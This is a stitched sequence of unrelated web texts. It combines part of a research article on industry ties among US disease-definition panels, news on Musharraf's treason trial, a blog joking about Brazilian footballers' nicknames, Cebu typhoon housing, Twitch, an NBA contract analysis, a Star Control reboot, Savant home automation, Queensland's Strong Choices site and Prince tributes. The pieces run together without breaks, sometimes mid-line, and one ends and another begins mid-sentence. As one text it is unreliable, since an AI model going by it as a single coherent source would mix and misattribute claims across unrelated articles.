hyperactivity disorder; COPD, chronic obstructive pulmonary disorder; DSM, Diagnostic and Statistical Manual of Mental Disorders; GERD, gastroesophageal reflux disease; IOM, Institute of Medicine; NIH, National Institutes of Health
Introduction Changes in technologies, treatments, medical knowledge, and cultural norms provide cause to review and change disease definitions and diagnostic thresholds, a task that is commonly undertaken by expert panels, consensus meetings, or influential workgroups who publish findings as statements, special reports, or as part of clinical practice guidelines. While such changes can be beneficial, there is an increasing recognition that widening of disease definitions may be one factor contributing to the problem of over-diagnosis, occurring across a range of conditions including pulmonary embolism, breast and prostate cancers [1],[2]. The concern expressed by some researchers is that for some people with milder symptoms, at lower risks, or in earlier stages of possible disease, the harms of a diagnostic label and treatment may outweigh benefits [3],[4]. At the same time there is accumulating evidence about pervasive financial ties between pharmaceutical companies and health professionals [5], including those writing guidelines [6] and disease definitions [7]. While noting the value of professional–industry collaborations, a 2009 Institute of Medicine (IOM) report found “widespread relationships with industry have created significant risks that individual and institutional financial interests may unduly influence professionals' judgments,” and that these “conflicts of interest” threaten the integrity of research, the objectivity of education, the quality of patient care, and public trust in medicine [5]. The 2009 report recommended professional societies and other organisations drafting clinical practice guidelines should “generally exclude as panel members individuals with conflicts of interest.” A subsequent 2011 IOM report on how to produce trustworthy guidelines included recommendations that “whenever possible,” guideline developers “should not have” conflicts of interest, that only a minority should have conflicts, and that chairs should be free of conflicts [8]. As both reports make clear, in addition to financial ties there are non-financial or intellectual conflicts such as academic advancement, and there should be no assumption that having a conflict is unethical, or “that any particular professional will necessarily let financial gain influence his or her judgment” [5]. A 2011 systematic review found many clinical guideline panels have failed to disclose financial ties, and those that did disclose had a “high percentage” of individuals with financial conflicts of interest [6]. Studies analysing ties of working groups for the Diagnostic and Statistical Manual of Mental Disorders (DSM), which set definitions and diagnostic criteria, have also found a majority of members with ties [7]. Kung and colleagues recently found two-thirds of individuals chairing guideline committees had conflicts of interest [9]. Few studies [7] have examined the financial ties of members of panels reviewing and changing definitions of common conditions, whether as part of practice guideline development or other processes. Our aim was to identify guideline panels in the US setting that have most recently made decisions about definitions or diagnostic thresholds for common conditions, and to report on any proposed changes and their industry ties.
Methods List of Conditions On the basis of the method previously used by Choudhry and colleagues [10], we derived a list of common conditions in the United States, drawing from a list of the ten most costly adult diseases [11], the top 20 therapeutic classes of drugs, and the top 25 individual drugs by expenditure [12]. Consistent with that method, drugs used to treat many non-specific conditions were excluded (e.g., pain killers). For situations in which a drug was approved for a number of conditions, we identified the most common condition for inclusion (e.g., etanercept ultimately mapped to rheumatoid arthritis, not psoriatic arthritis). If a condition in the top ten costly disease list was too broad or diffuse, or covered many specific conditions, it was excluded (e.g., back problems). A flowchart of the method appears in Figure 1. PPT PowerPoint slide
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larger image TIFF original image Download: Figure 1. Flowchart identifying study conditions and panels reviewing definitions. Note: bipolar/depression was one panel. https://doi.org/10.1371/journal.pmed.1001500.g001 List of Panels and Publications We aimed to identify the most recent publication from panels making decisions about disease definition and diagnosis. A panel publication was eligible for inclusion if it was generated or supported by a widely recognised US-based organisation, published between 2000 and April 2013, and included deliberations and decisions on disease definitions and/or diagnostic criteria, classification, or assessment. If the panel made decisions, but proposed no changes, our search would continue for the most recent publication proposing changes, to include as well. If the focus of the panel publication was limited to specific sub-groups of patients, (e.g., adolescents), specific sub-categories of the condition (e.g., work-related asthma), it came from a single entity (e.g., a health maintenance organisation), or it included treatment recommendations but no review and deliberation on disease definition or diagnostic criteria, it was excluded. During a pilot phase, using the searches for the most recent hypertension and asthma panel publications, an explicit search strategy using standardized keywords was iteratively developed in order to maximise sensitivity. We searched Medline (Ovid) using terms for each disease/condition and combined these terms with a standardized search strategy consisting of a string of MeSH and keyword terms to identify panels and publications (example in Table S1). Searches were run over 26–31 July 2012, updated 17–18 April 2013, and limited to English language from 2000. To further improve sensitivity and try to ensure recent publications were not missed, two authors (RNM, GPEC) independently analysed the results of the standardised Medline searches for all conditions, and supplemented this with independent individual searches of the websites of the relevant National Institutes of Health and the National Guideline Clearing House. For two conditions, minor discrepancies in independent suggestions were resolved by discussion and, in one case (diabetes II), by consultation with a third author (PPG). Because of their global prominence and influence, if a panel was constituted under the umbrella of the National Institutes of Health (NIH), or the American Psychiatric Association's DSM, and met our inclusion criteria, these panels were identified for inclusion in our study. If there was a more recent panel publication that also met the study's inclusion criteria, in addition to the NIH or DSM panel, we included the more recent publication as well. This occurred twice (asthma and high cholesterol), resulting in two publications being identified for each condition. Information on the Panels' Decisions For each publication we extracted information on key proposed changes to definitions/diagnostic criteria, the rationale offered, and any mention of potential harms associated with the proposed changes (e.g., over-diagnosis, overtreatment, medicalizing normality, labelling asymptomatic people). All six authors then made an assessment of whether the panel's proposed key changes would tend to widen (e.g., earlier diagnosis, lower thresholds, adding symptoms, increasing numbers diagnosed) or narrow the disease definition, or whether it was unclear. Information on Industry Ties Using published disclosure sections from the panel publications, duplicate independent extraction of data was conducted (RNM and research assistant Peter Coxeter), with a third party resolving any disagreement (PGG). Ties were categorized as speaker/honorarium, consultant/adviser, grant/research, stock, employee, travel, or royalties. Panel members were those listed as authors or identified as the group with primary responsibility for generating the publications. In line with the IOM approach [5], an industry tie was defined as a tie to a pharmaceutical, diagnostic, device, or biotechnology company, but not a communications or medical education company. If there was any lack of clarity as to the nature of the company, or uncertainty if it met study criteria, a tie was not recorded. Once all industry ties were recorded for each panel, websites of companies with financial ties to the three highest proportions of panel members were searched to determine whether those companies were active in the specific therapeutic area. Where they appeared in disclosure sections, the disclosure of any ties to public agencies, non-government organizations, and publishers was also recorded.
Discussion In this cross-sectional analysis of panels making recent decisions on definitions of common conditions in the US context, we found most panels proposed widening definitions and most had a majority of members with multiple ties to pharmaceutical companies. Proposals to widen fell into three inter-related categories: creating new categories of “pre-disease”; lowering diagnostic thresholds; and proposing earlier diagnosis or different diagnostic methods (Table 2). In some cases a clear rationale was offered for these changes—as when the hypertension panel cited evidence from original studies and meta-analysis linking normal blood pressure with elevated risks as the reason to create “pre-hypertension” [23]. In other publications, including the 2007 panel proposing changes to the diagnosis of asthma [13], the rational was less clear, more complex and diffuse. Notwithstanding the problem of under-diagnosis, a growing body of evidence suggests over-diagnosis may be occurring across a range of common conditions, including hypertension [24], asthma [25], attention deficit hyperactivity disorder (ADHD) [26], and COPD [27]. Yet less than half of the study publications mentioned potential harms of proposed changes to definitions, and none included a rigorous evidence-informed discussion of those risks or how they might be mitigated. In a three-part publication in 2011 [28]–[30] proposing new categories of “pre-clinical” Alzheimer disease (for research only at this stage) and “predementia”—which would clearly expand the population labelled—there was one short reference to the need to study the “ethical and practical implications” of diagnosing people at a “preclinical” stage [30]. The panel proposing changes to assessment and classification of COPD briefly mentioned that diagnostic methods “may lead to more frequent diagnosis of COPD in older adults with mild COPD as the normal process of aging affects lung volumes and flows” [18], but did not explicitly refer to the risk of “over-diagnosis” as it had done in a previous version of its report [31]. Proposing changes to ADHD diagnostic criteria—in part to make the condition more amenable to being a “lifespan” disorder involving adults as well as children—the DSM-V panel mentioned potential increases in prevalence but suggested they would be “negligible” (Table 3) [32]. Among panels disclosing ties, almost all chairs had financial ties to industry, and an average of three-quarters of members had ties to a median of seven companies, commonly working as consultants, advisers and/or speakers, as well as receiving research support. Companies with financial relationships with the greatest proportion of panel members were marketing or developing drugs for the same conditions about which those members were making critical judgements. GSK for example, marketing top-selling products for asthma, had financial ties to 20 of the 24 members of the 2009 asthma panel, and all 20 were consultant/advisers and/or declared speaker/honoraria ties to GSK [15]. This study has several important limitations. First, the lack of a comparison group means it is impossible to draw any inference of association between frequency of industry ties and proposals to change disease definitions. The exclusion of common conditions too broad to enable a focussed analysis of single panel publications (e.g., back problems) means it may have missed potentially important examples of changing disease definitions and limits generalizability of findings. The focus on the United States—chosen explicitly because of its globally influential panels such as DSM-V workgroups—also limits generalizability. A fourth limitation is reliance solely on disclosed ties, likely leading to an underestimate of their extent. Finally, we note that while we tried to ensure an exhaustive and multi-layered search strategy, we are unaware of any established method for identifying panel publications that review or propose changes to disease definitions. Notwithstanding these limitations, the study has strong clinical, research, and policy relevance. Its novel focus on panels reviewing and proposing changes to common disease definitions or diagnostic criteria will help deepen understanding of the nature of what's been described as the “modern epidemic” of over-diagnosis [2]. Moreover, the group of 16 publications includes influential articles affecting the definition of 14 common conditions and impacting directly on medical policy and practice around the world. The study findings are consistent with and help augment the evidence-base about industry ties of influential medical professionals. The 2011 systematic review found 56%–87% of clinical guideline writers had conflicts of interest [6], similar to our finding of 75% across disease-defining panels. Kung and colleagues found 71% of guideline committee chairs had conflicts [9], again similar to our findings. While these proportions may reflect the level of ties among medical specialists more generally, they are in stark contrast to IOM 2009 and 2011 reports calling for panels to generally exclude people with conflicts of interest [5],[8]. As reported above, we found no change in the proportion of members disclosing ties in the 2012 publications, after release of both IOM reports. At least two publications [20],[21] made reference to members believing industry ties did not influence their decision-making, and we make no suggestion to the contrary. Indeed our data do not support any inference industry ties are associated with widening definitions or failure to rigorously assess potential harms of that widening. With anemia in chronic kidney disease, a panel with a high proportion of ties raised thresholds, effectively narrowing the definition [33]. There will doubtless be other cases where diseases have been widened by panels of medical specialists without industry ties. Moreover, as Lurie and colleagues found in the context of drug regulation, the financial conflicts of expert advisory committees did not correlate significantly with their voting outcomes [34]. Medicalization and over-diagnosis are driven by many factors—technological, professional, commercial, legal, and cultural [3]. While inferences of association or causation between industry ties and expanding disease definitions cannot be drawn, our findings can be considered in the context of broader evidence about potentially distorting biases associated with widespread industry sponsorship and financial ties in medical research [35]–[37], education [38], and practice [5], and in relation to “key opinion leaders” who speak and consult for industry [39]. In 1999 Schwartz and Woloshin found changes to definitions of high blood pressure, high cholesterol, diabetes, and overweight would “dramatically inflate disease prevalence” and “ultimately label 75% of the adult U.S. population as diseased” [40]. They concluded the “extent to which new ‘patients’ would ultimately benefit from early detection and treatment of these conditions is unknown. Whether they would experience important physical or psychological harm is an open question.” To what extent newly created “patients” produced by widening disease definitions will experience important harms remains a largely unanswered question, over a decade later. This study did not investigate the merits of the proposed changes to the conditions identified. However, findings that diagnostic thresholds are being lowered by panels dominated by those with financial ties to multiple companies that may benefit directly from those decisions raise questions about current processes of disease definition. While it may be more difficult to locate senior specialists without industry ties, two recent IOM reports have encouraged such a change [5],[8], and models already exist for panels free of such conflicts, including the NIH consensus development program [41]. Several unanswered questions arise from this study, which could benefit from further investigation. Researchers might fruitfully examine how definitions are changing over time, what dollar amounts are being received from industry by panel members and organisations that auspice them, and how panel proposals impact on potential markets of sponsors. Most importantly enhanced research and policy attention might be directed at designing new processes for reviewing disease definitions, free of financial conflicts of interest and informed by rigorous analysis of benefits and harms.
Acknowledgments We would like to thank Elaine Beller and Rae Thomas at the Centre for Research in Evidence-Based Practice, Faculty of Health Sciences and Medicine, Bond University for assistance in design and analysis; Sarah Thorning, from the same centre, for assistance with development of the search strategy; and research assistant Peter Coxeter from the same centre for independent extraction of disclosure material. We thank David Henry for his comments on an early draft of this manuscript.
Author Contributions Conceived and designed the experiments: RM GC JD LB SH PG. Analyzed the data: RM GC JD LB SH PG. Wrote the first draft of the manuscript: RM. Contributed to the writing of the manuscript: RM GC JD LB SH PG. ICMJE criteria for authorship read and met: RM GC JD LB SH PG. Agree with manuscript results and conclusions: RM GC JD LB SH PG.A Pakistani special court has summoned former President Pervez Musharraf to appear on a charge of high treason.
Akram Sheikh, the head of the government prosecution team, said on December 13 that Musharraf was ordered to appear before the court on December 24 for the start of his trial.
If convicted, he could face life imprisonment or death.
The case relates to Musharraf's 2007 decision to declare a state of emergency.
He would be the first military ruler tried for treason in Pakistan, which has seen three military coups since independence in 1947.
Musharraf faces an array of criminal charges for his 1999-2008 rule, including responsibility in the assassination of former Prime Minister Benazir Bhutto in 2007.
He has been granted bail on those charges but remains under guard at his residence outside Islamabad.
Based on reporting by AFP and RFE/RL's Radio MashaalWhen it comes to football – some of you may know it by its American name, “soccer” – Brazil is a land of legend. Five World Cups. Two runners-up. Two thirds and a fourth. That’s more championships than any other nation and only Germany has more top four finishes. At the club level, Brazilian players dominate every league in the world.
Not only have the Brazilians been incredibly successful, they have truly put the beautiful in The Beautiful Game, playing with a verve, a joy, an elegance that sometimes makes even the best players from other nations seem oafish by comparison. Brazilians dance where others plod.
This culture of panache is even evident in the players’ names. In Scotland, if you’re christened Archie Gemmill, then you play your career as Archie Gemmill. You may have a nickname, but you’re introduced as Archie Gemmill. However, in Brazil, the players (well, the midfielders and forwards, mostly) adopt their nicknames, and the nom de futbol becomes their actual name. (Think Madonna or Sting or Bono, or in the case of Lúcio, Cher.) And historically, these names attacked the public consciousness with every bit as much style and grace as a rampant Pelé bearing down on a slow-footed Icelandic defender.
In Brazil, though, if you were born Edison Arantes do Nascimento, you became Pelé. Pelé: the name fairly dances on the tongue, liquid and electric and animated as a ball on the icon’s magical feet. It wasn’t just him, though. Consider some of the other player names from Brazil’s golden past:
Cafu
Taffarel
Djalma Santos
Ronaldo
Rivelino Jairzinho
Leão
Bebeto
Romário
Zico Tostão
Zizinho
Sócrates
Leônidas
Falcão
In Brazil, a simple laundry list of player names once read like a love poem. Still does, at times. Today’s Brazilian national team features players with names like Ronaldinho, Zé Roberto, Robinho, Daniel Alves, Thiago Silva, Adriano, Philippe Coutinho, Júlio César, Rafael, Mariano, Lúcio, Luisão, Michel Bastos, Fernandinho, Júlio Baptista, Elano, Felipe Melo, Alexandre Pato and Luís Fabiano. So the poetry is not dead.
However, the country’s football culture appears to be showing the effects of a looming name shortage, and it isn’t pretty. In some cases, the offenses are merely pedestrian. There’s Alex, who plays center back for my beloved Chelsea. Very good player, but…Alex? Then there are goalkeepers Victor and Jefferson, who play for Grêmio and Botafogo, respectively, in the Brazilian league. Douglas also plays for Grêmio. Lucas plays at Liverpool. Roma features the unimaginative Juan, and Wesley plays at Werder Bremen in Germany.
Yawn. Dancing with the ball? No thanks, I’ll just sit here on the couch and watch Walking with the Stars.
Then there are those who push pedestrianism to unseemly limits. Take Manchester City’s Jo. Jo? Seriously. You’re from the same country as Taffarel and Jo is the best you can come up with? And how about the Philadelphia Union’s Brazilian import, Fred. No, I’m not making that up. All the exciting names in the world and you choose Fred? Yabba dabba doo, I guess. Then there’s Wolfsburg’s Grafite. I’ve never seen him play, I don’t believe, but I hope that’s not the sexy, playful Portuguese nickname that means “a soft, steel-gray to black, hexagonally crystallized allotrope of carbon with a metallic luster and a greasy feel, used in lead pencils, lubricants, paints, and coatings, that is fabricated into a variety of forms such as molds, bricks, electrodes, crucibles, and rocket nozzles.”
Not everyone is content to leave it at pedestrian, though: witness Porto’s 24 year-old striker Givanildo Vieira de Souza, aka Hulk. Yes, Hulk. Allegedly the name has something to do with people thinking he looked like Lou Ferrigno (which is cruel enough, if you ask me).
There are many Brazilian players I simply don’t like (Lúcio is a punk-ass crybaby and Kaká can bite me), and the truth is that as much as I respect the Seleção, I rarely pull for them in international competitions. I guess with all their success I think of them the way I do Evil Empire teams like the Yankees and Manchester United.
Despite that, however, I can’t bear watching such a beautiful culture deteriorate right before my eyes. I hope the Brazilian culture ministry will step in and begin regulating name selection by its footballers. Many of them are simply too young to be entrusted with a decision that can reflect so critically on the nation.
Otherwise, I suppose I’ll just have to get used to the next generation Canarinho and stars like Bob, Rebar and Spiderman.DAANBANTAYAN, Cebu — It was a day of mixed emotions.
At least 200 families were all smiles as they were about to be welcomed into their new homes –almost two years after supertyphoon “Yolanda” made a third landfall and destroyed their houses and killed nine people.
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But it was also a day of remembering what happened on Nov. 8, 2013 when strong winds came and brought fear into their hearts.
READ: Couple finds love, hope after misery from ‘Yolanda’
Fernanda Cuyos recalled that her family evacuated in the extension campus of the Cebu Technological University, along with two of their grandchildren, aged 3 and 7, before the onslaught.
“We were very scared. When Yolanda blew off the roof of the CTU gymnasium, we had to run to another building. After the typhoon passed, we checked our house and found that it was destroyed when two coconut trees fell on it,” said Cuyos.
Yolanda had made them fear typhoons–afraid that they would experience again what they went through during the supertyphoon.
But now, not anymore.
Last Friday, they received typhoon-resilient houses from the France-Philippines United Action (FP-UA) Foundation in Barangays Agujo and Paypay, Daanbantayan, about 147 kilometers north of Cebu City.
The two housing projects cost $1.5 million and were financed by leading French companies.
One of the villages, the Habitat French Village provides 76 disaster-resilient houses and a multipurpose center that were built on a 5,488-square meter property in Barangay Agujo that was donated by the Cebu provincial government.
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The project was implemented in cooperation with the Habitat for Humanity Philippines.
The $500,000-funding for the French Village came from Republic Cement and Building Materials Inc. (formerly Lafarge), Schneider, Commanderie de Bordeaux, Megacem, Archetype, ParexGroup and ManilleBienvenue.
The Red Cross Village comprises of 128 houses built on a 1.3-hectare land in Barangay Paypay was donated by Elaine Corro, sister of Daanbantayan Mayor Augustus Corro, under a usufruct agreement.
This meant that the beneficiaries have the full right to use the property but could not dispose these.
The $1-million Red Cross Village was funded by Total, Sanofi, Caisse des Depots and French Red Cross. The housing project was implemented in cooperation with the Philippine Red Cross and the Habitat for Humanity Philippines.
Charlito Ayco, managing director and chief executive officer of Habitat for Humanity Philippines, recalled daring Filipino architect Ed Florentino to come up with a design that was disaster-resilient, considering that a major earthquake hit Bohol and Cebu on October 15, 2013 and then less than a month later, Yolanda severely damaged the areas along its path.
Florentino used the hyperbolic paraboloid concept, which allows each house to withstand up to intensity 8 earthquake and wind velocity of up to 275 km per hour. Each house of the French Village has a floor area of 24 sq. m and an allocation for a 10-sq. m loft. The houses in the Red Cross Village have a floor area each of 30 sq. m.
French Ambassador Thierry Mathou noted that the French Embassy organized the FP-UA to assist French private donors, non-profit organizations and French agencies with their rehabilitation programs.
After Yolanda devastated central Philippines, then French Ambassador Gilles Garachon convened the representatives of leading French companies, the Conseiller du Commerce Exterieur and the French Chamber of Commerce to form the consortium.
Led by the French Chamber of Commerce, the FP-UA aimed to coordinate relief and rehabilitation projects initiated by the Filipino-French business community for the typhoon victims.
The consortium first focused on Daanbantayan, which was among the most affected areas by Yolanda.
READ: Family showers Yolanda the carabao with lots of love
Yolanda first made landfall at Guiuan, Eastern Samar at 4:40 a.m. on Nov. 8, 2013, then at Tolosa, Leyte at 7 a.m. and then Daanbantayan at 9:40 a.m.
Mayor Corro said the FP-UA was among the earliest to visit Daanbantayan and provided continued assistance to the town.
The construction of the French Village began in May 2014.
The facilities of the Red Cross Village include a barangay health station and day care center, a livelihood center and a Red Cross room.
It also has a 33-kilowatt photovoltaic solar power plant and a decentralized water treatment system.
The solar plant was installed through the efforts of the Red Cross and the Electricians Without Borders, a French non-government organization. It will provide public lighting and electricity for the multi-purpose hall, day care center, barangay health station and the livelihood center.
The barangay health station and day care center will cater to the needs of Barangay Paypay, which has a population of 3,124.
The livelihood center, which would be run by a local association of the users, will offer services such as battery charging as well as the use of refrigerators and stainless tables that farmers and fishermen could use to process food inside the center.
The FP-UA Foundation will also start another housing project at a third site, in Bogo City, also in northern Cebu.
The third village, which will be constructed on a 5,000 square-meter lot in Barangay Cayang, Bogo City, will be funded by the Cites Unies France (CUF), an urban organization based in Paris.
The organization will provide the funding for the construction of 46 houses with the same Hypar Model design built by Habitat for Humanity at Barangay Agujo, Daanbantayan.
Now, the survivors can feel safe again even if there is a threat of a coming typhoon. CDG
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MOST READTo hardcore gamers, of whom there are millions, three hours is not a terribly long time to sit parked in front of one’s laptop, watching a bearded man shout about things like “minions.”
But to a disinterested non-gamer — an avowed non-gamer — a non-gamer who, as a well-meaning but totally obnoxious child, tried to limit her brother’s access to M-rated video games — three hours is something of a marathon.
This was my virgin foray into Twitch, the live game-streaming platform that Amazon just bought for a mind-melting $970 million. (Not that anybody’s counting, but that is, for the record, almost four times the amount Amazon CEO Jeff Bezos paid for the Washington Post.) By all accounts, it’s a phenomenon: The platform has, in little more than two years, grown to a cultural behemoth that 55 million people visit each month. I might not play video games — hell, I don’t even like video games — but I was determined to “get” why everyone from my little brother to my distant corporate overlord considers this site the future of media.
And so, |
to be without a deal until August or September. Typically the team has the leverage in these situations because it has the right to match offers, and that often kills the market. Most other teams that had enough space to lure Thompson with an offer sheet have already used all of their money. Only the Portland Trail Blazers, who gave an offer sheet to restricted free agent Enes Kanter only to see it matched, are still a remote option.
Meanwhile, the player has only two ways to gain an advantage, both of which are rarely used: accept what would likely be a much lower one-year qualifying offer to earn unrestricted free agency the following summer or hold out of training camp to pressure the team to budge.
Both courses of action carry unsavory risk and therefore have limited leverage. Teams often have success waiting out their restricted free agents because the bluffs are usually easy to call.
"If [Thompson] were to be an unrestricted free agent next summer and he's healthy, he probably would be one of the top free agents available." NBA general manager
However, this may not be the case for Thompson, who has two things going for him that his restricted free agent brethren in the past did not. One is the expected $20 million leap in the salary cap next season that will also drag the maximum salary levels up with it. The other is the fact that more than 20 teams are projected to have cap space for a max-level free agent next summer, making it the best summer to be a free agent perhaps in the history of American professional sports.
"The 2016 free agent class isn't very deep and it's generally older," said one NBA general manager. "It's rare to see an unrestricted free agent that's 25 or younger, especially a big. If [Thompson] were to be an unrestricted free agent next summer and he's healthy, he probably would be one of the top free agents available."
In a market awash in cash, that may mean multiple max offers if Thompson has even an average season by his standards. Unless he gets an offer he likes from the Cavs this summer, that gives Thompson an incentive to use one of his available weapons and accept a one-year qualifying offer of $6.8 million to get himself to unrestricted free agency next year.
Because the max contract for a player of his experience level may jump more than $5 million from its level this year, Thompson may be able to quickly make up the money he'd leave on the table this season and earn millions more over the long haul.
This dulls the Cavs' restricted free agency hammer and incentivizes Thompson to be more demanding in talks. The Cavs already have cost themselves some money after not being more aggressive in their offer to Thompson when he could've gotten an extension last October. If they don't make a long-term deal with him this year, then it could compound the issue, and the chance of losing Thompson after next season becomes real.
Thompson's agent, Rich Paul, ramped up that rhetoric on Monday when he told several media outlets, including ESPN, that "if [Thompson] is on the qualifying offer, [this] will be his last year with the Cavs."
In any year of the recent past, teams could use Thompson's stats and traits to judge what an appropriate contract offer would be. But there is little use comparing Thompson's relative value compared to other players signed in other years. It makes no difference that Thompson is a bench player when the Cavs are healthy in the frontcourt.
It's simple supply and demand. Next year there will be an almost incomprehensible demand, and the supply of young big men -- Thompson is two years younger than Hassan Whiteside, who could also find himself getting a giant offer in that market -- is scarce. Thompson and his agents are quite aware of this. So are the Cavs.
Considering he hasn't missed a game in three seasons and is coming off an extremely productive postseason playing alongside LeBron James, Thompson can reasonably believe he would be the subject of a bidding war if he chooses to become an unrestricted free agent next year.
As complicated as all that is, there's still more to this situation.
The Cavs have five other players (James, Kevin Love, Kyrie Irving, Iman Shumpert and Anderson Varejao) who are starting new contracts that average at least $10 million a season. They are already about $4 million over the tax line. If they were to sign Thompson to a deal that started at $15 million, it would add more than $35 million to their tax bill this season alone, not including Thompson's salary.
However, if Thompson were to sign his qualifying offer of less than $7 million, the tax hit to the Cavs drops to around $13 million based on the team's current roster makeup. The Cavs would retain Thompson's Bird Rights and still be able to sign him to the largest possible contract next year when the cap jump would also pull up the luxury tax line and likely make it far less costly.
Deferring Thompson's big payday, even if it costs the Cavs more money in salary in a bidding war next year, potentially would make fiscal sense when evaluating the tax savings this coming year alone. This is probably not the Cavs' preferred route, especially because it may foster some acrimony. But that option may give them reason to stand fast when Thompson attempts to use the qualifying offer as leverage.
All of this was on the table when the Cavs and Thompson walked away from it earlier this summer. With all of this still in play, it's understandable why both sides have been willing to let time pass to see how the situation may change. For example, the Cavs have recently traded away Mike Miller and gotten Matthew Dellavedova to accept his qualifying offer of $1.2 million, moves that have already saved significant luxury tax.
Bottom line: Thompson is most likely going to be in a Cavs uniform for the upcoming season. But how he gets there will be interesting.Image: Stardock/Star Control
It hasn't really been on the radar much, but in the next year or so I'd be surprised if the Star Control reboot doesn't start to capture the imagination. It's coming from Stardock, makers of the Galactic Civilizations series, Sins of a Solar Empire and Ashes of the Singularity. And according to them, it's their biggest game with their biggest budget yet.
There's nothing really in the way of screenshots or footage for the revamped sci-fi space combat classic. Stardock acquired the rights to the Star Control franchise back in 2013 in the wake of Atari's bankruptcy auction.
Brad Wardell, the CEO of Stardock, also indicated early on that the company would be more akin to making a reboot or a remake of the series rather than a sequel or a prequel. In the first major update on the game's progress in a year, however, Wardell confirmed that the new game would be taking "place in its own universe".
It's a move designed not to interfere with the canon of the first three games that were released in the 1990's. But perhaps of more interest is the fact that more staffers from Ashes of the Singularity and Offworld Trading Company have now been redeployed to work on Star Control, making it Stardock's biggest game ever.
"The new Star Control game is the biggest game we've ever made," Wardell wrote. "Its budget is bigger than the combined budgets of all the games we've released in the past few years."
There's no word yet on early access, betas or an eventual release date. Stardock has previously indicated that they'd like to commemorate the 25th anniversary of Star Control 2, which would be November next year.Authors: Cinzia Alcidi and Daniel Gros
Series: CEPS Commentary No of pp: 3
Following the decisive victory won by the Syriza party in Greece’s general election on September 20th, this commentary explores the key question of whether the third bailout programme can work, where the previous two programmes failed. Whereas most observers argue that the third one cannot work because it merely represents a continuation of an approach that has manifestly failed, the authors argue that a closer inspection of the conditions today give grounds for cautious optimism.
Cinzia Alcidi is LUISS Research Fellow at CEPS and Head of the Economic Policy research unit. Daniel Gros is Director of CEPS. An earlier version of this commentary was published by Italian Institute for International Political Studies (ISPI), 18 September 2015, at www.ispionline.it/en/pubblicazione/greek-bailout-why-it-could-work-now-1...Along with that comes firmware updates, new (better) licensing plans, Sonos integration, native streaming media from Autonomic and vast improvements to the user interface that might have become too oversimplified in the last revision.
Savant 8.0 software includes an enhanced user interface for the Savant App.
The company had moved to a dramatically new user experience in 2014 with the single-App home, allowing consumers to configure their own scenes, schedules and alerts.
The UI hierarchy put users first, rooms and scenes second and products third.
While the simplified UI might have been more inviting to consumers, it did require a few too many button presses to drill down into products – for example, viewing the status of all the window coverings throughout the house.
Savant ‘flattened’ out the interface so users can, “see everything in the house from the home screen,” says Tim McInerney, director of product marketing for Savant.
For example, from the home screen you might press the bulb icon to see all lights in the home, or press and hold to access the lighting menu.
When users do get to the ‘room’ pages, an overlay shows the devices in the room and enables one-touch access to any of them.
From the Dining Room page, for example, click on the Apple TV icon to operate that device in that room.
Here’s more good news for 8.0: You get a lot more stuff for each Savant Smart Host license.
Tim says about 90% of the ‘premium’ provisions are now provided in the basic Savant service – up to eight rooms of entertainment, plus four rooms of environmental control (12 total), one stream of Savant Music, 64 lighting loads, third-party AV switching for three zones or less, eight cameras, BacNET and KNX … pretty much everything except for more rooms and more complicated video switching.
Sonos Integration and Native Autonomic
Savant now has a Sonos driver and even worked with Sonos to build it.
While Sonos has yet to release an API per se, the company has been working with home-control vendors over the past few months to encourage proper integration.
Tim says: “They’ve given us access to their engineering team and vice versa. We share our software with them. It’s more of a two-way-communication type of partnership. If we’re having issues, we have help.”
And Savant, like other Sonos ‘partners,’ shouldn’t be caught unawares by engineering changes from Sonos.
Tim characterises Sonos as an ‘Elite Partner,’ but says it gets no particularly special favors from the company, despite having a common investor, KKR.
Even bigger news
The Savant Smart Host with 8.0 will double as an Autonomic media player.
Savant already integrated two-way with Autonomic’s Mirage Media Servers, but now a modified version of the MMS software is built into the Savant hardware.
Users can now tap into music from all of Autonomic’s streaming media partners including Spotify, Tidal, Deezer, Pandora, SiriusXM, Rhapsody, Slacker, Napster, Tunein and iTunes.
Music is output through the TOSlink port on the Smart Host, which previously had not been utilised.
Savant 4K Video Distribution
Savant was all set to add 4K cards to its video-distribution product, but it was right before HDCP 2.2 was coming out and the company decided to hold off until it had a compliant product.
The new Savant 4K (30 Hz) Video Input Module will be available in May (preorder April 5), and it does support HDCP 2.2.
It also provides audio down-mixing as well as video down-converting for 1080p displays.
Additionally, Savant partnered with PureLink, maker of high-performance commercial-grade video switchers, to offer new video switchers for the residential market.
Unlike PureLink’s commercial products, the 4K/60 Savant versions support HDMI 2.0a and HDCP 2.2 to pass through copy-protected content. They come in two versions, 4×4 and 8×8, and include SmartHost Premium licenses.
Tim says Savant tested several video switches, including many of the usual suspects in the residential custom market, but PureLink won out.
Savant appreciated the level of testing that goes into every single PureLink switch.
“They’re in all these regulated government and military institutions,” Tim says. “We’re ridiculously critical of every component.”
PureLink HDBaseT 4K extenders will follow.
And More …
• Savant will be coming out with the Smart Control2 RS-232 module, controllable via Wi-Fi like other Smart Control modules (IR, relay).
• A big improvement to Savant’s Blueprint configuration software: Dealers can now preview the Savant App UI from within Blueprint itself, without having to upload the config file to the Host – in fact, without even having a Host plugged in. Modifications can be viewed on the fly.
• Siedle, maker of video intercom and access control systems for multi-dwelling units, is now supported by Savant.
Original story here
Note there are differences between US and European details
More Savant Sources
New face at SavantThe Queensland Government is heralding its "Strong Choices" website a success at the same time as the opposition has labelled it “fatally flawed” and called for its removal.
Treasurer Tim Nicholls said more than 16,000 people had “had their say on how to lower Queensland's debt to a sustainable level” through the website in its first week of operation, with more than 76,000 unique visits and about 337,000 page views.
The Queensland government's Strong Choices website has been hailed as both a success and fatally flawed.
“This clearly indicates that despite the unions' scaremongering and tricky tactics, Queenslanders know we have a real challenge to tackle that requires strong choices to be made,” Mr Nicholls said in a statement.
But opposition treasury spokesman Curtis Pitt accused the government of playing its own tricky tactics by including private investment into the electricity grid as a solution to lowering the debt.From the Google Doodle to NASA to Minnesota’s Interstate 35 bridge, purple tributes to Prince have shown up everywhere since his death on Thursday – and Denver had its own tribute.
Denver’s Union Station was bathed in purple Thursday in remembrance of the legendary artist.
Gov. John Hickenlooper, an avid music fan, posted his on tribute on Twitter.
Hickenlooper wasn’t the only one to honor Prince:
A purple nebula, in honor of Prince, who passed away today. https://t.co/7buFWWExMw pic.twitter.com/ONQDwSQwVa — NASA (@NASA) April 21, 2016
"'A strong spirit transcends rules,' Prince once said—and nobody's spirit was stronger, bolder, or more creative." —President Obama — Barack Obama (@BarackObama) April 21, 2016
We are gathered here today
To get through this thing called life. https://t.co/HthUrlGVeV pic.twitter.com/xT8oKjpDZc — Google (@google) April 21, 2016
